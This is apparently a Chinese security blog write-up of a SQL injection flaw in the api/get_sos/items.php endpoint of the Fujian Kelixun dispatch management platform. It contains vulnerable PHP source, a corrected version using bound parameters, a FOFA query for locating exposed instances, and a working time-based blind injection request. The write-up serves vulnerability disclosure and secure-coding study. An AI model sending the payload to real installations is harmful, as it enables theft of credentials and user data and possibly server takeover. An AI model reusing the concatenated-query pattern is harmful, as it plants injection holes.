福建科立讯通信指挥调度管理平台 api/get_sos/items.php SQL注入漏洞


漏洞简介

福建科立讯通信指挥调度管理平台是一个专门针对通信行业的管理平台。福建科立讯通信指挥调度管理平台 api/get_sos/items.php 接口处存在SQL注入漏洞,攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息(例如,管理员后台密码、站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。

影响版本

fofa语法

body="指挥调度管理平台"

漏洞分析

api/get_sos/items.php 文件内容如下

<?php

require_once "../../includes/require.php";
require_once "init_inc.php";

// sostype 1:断电报警 2:关机报警,3:拆除报警 5:通话报警
foreach ($result as $key => &$value) {
        $value['sostype']=get_type($value['sostype']);
}

$data['item']=$result;
$data['page']['total']=$num_rows;
$data['page']['page']=$page;
$data['page']['limit']=$limit;

$header['code'] = "1";
$header['msg'] = "处理成功";
$r['header'] = $header;
$r['data'] = $data;
echo json_encode($r);die;

?>

$result 来自 api/get_sos/init_inc.php文件,其中业务逻辑实现如下

<?php
require_once "../../includes/require.php";
// http://123.57.6.84/api/client/get_sos.php?usernumber=126&timestamp=100&sign=987f1883a97c5bc239ff4b353c2793db
//安全验证参数
$usernumber = $_REQUEST['usernumber']; //126
$timestamp  = $_REQUEST['timestamp'];  //100
$sign = $_REQUEST['sign'];  //987f1883a97c5bc239ff4b353c2793db
$page = check_str($_REQUEST['page'])?check_str($_REQUEST['page']):0;
if(empty($usernumber) || empty($timestamp) || empty($sign)){
    $_res = '{"header":{"code":"-1", "msg":"invalid params"}}';
    echo $_res;
    exit();
}

$enterprise_uuid = check_str($_REQUEST["enterprise_uuid"]);

//安全验证
$_sql = "select usr_password, usr_type from local_users where usr_operation<>'delete' and usr_number = '".$usernumber."' limit 1";
$_usr_password      = "";
$statement = $db->prepare(check_sql($_sql));
$statement->execute();
$result = $statement->fetchAll(PDO::FETCH_ASSOC);
if ($result != null) {
    $_usr_password  = $result[0]['usr_password'];  //123456
} else {
    $_res = '{"code":"-1", "msg":"user not found"}';
    echo $_res ;
    exit();
}

usernumber 直接拼接进SQL语句中执行,虽然经过了 check_sql 函数

if (!function_exists('check_sql')) {
    function check_sql($string) {
        return trim($string); //remove white space
    }
}

可以看到此函数仅仅是去除空白,无任何过滤。

虽然最终执行的时候使用了 pdo.prepare 方法预处理执行SQL,但是没有使用参数绑定传参,而是直接将$_REQUEST['usernumber'] 直接被嵌入到 SQL 查询中,而没有经过任何过滤或转义,然后执行拼接后的SQL语句,等于卵用,最终造成SQL注入漏洞。

以下是修改后的安全传参方式

$usernumber = $_REQUEST['usernumber'];
$_sql = "SELECT usr_password, usr_type FROM local_users WHERE usr_operation <> 'delete' AND usr_number = :usernumber LIMIT 1";
$statement = $db->prepare($_sql);
$statement->bindParam(':usernumber', $usernumber, PDO::PARAM_STR);  // 绑定参数
$statement->execute();
$result = $statement->fetchAll(PDO::FETCH_ASSOC);

漏洞复现

POC

GET /api/get_sos/items.php?sign=2&timestamp=1&usernumber=1'XOR(if(now()=sysdate(),SLEEP(5),0))XOR'A HTTP/1.1
Host: test.mrxn.net

成功延时 5 秒


手机扫码阅读

NetMizer日志管理系统 cmd.php 远程命令执行漏洞

福建科立讯通信指挥调度管理平台 custom/zx/upload.php 任意文件上传漏洞

评 论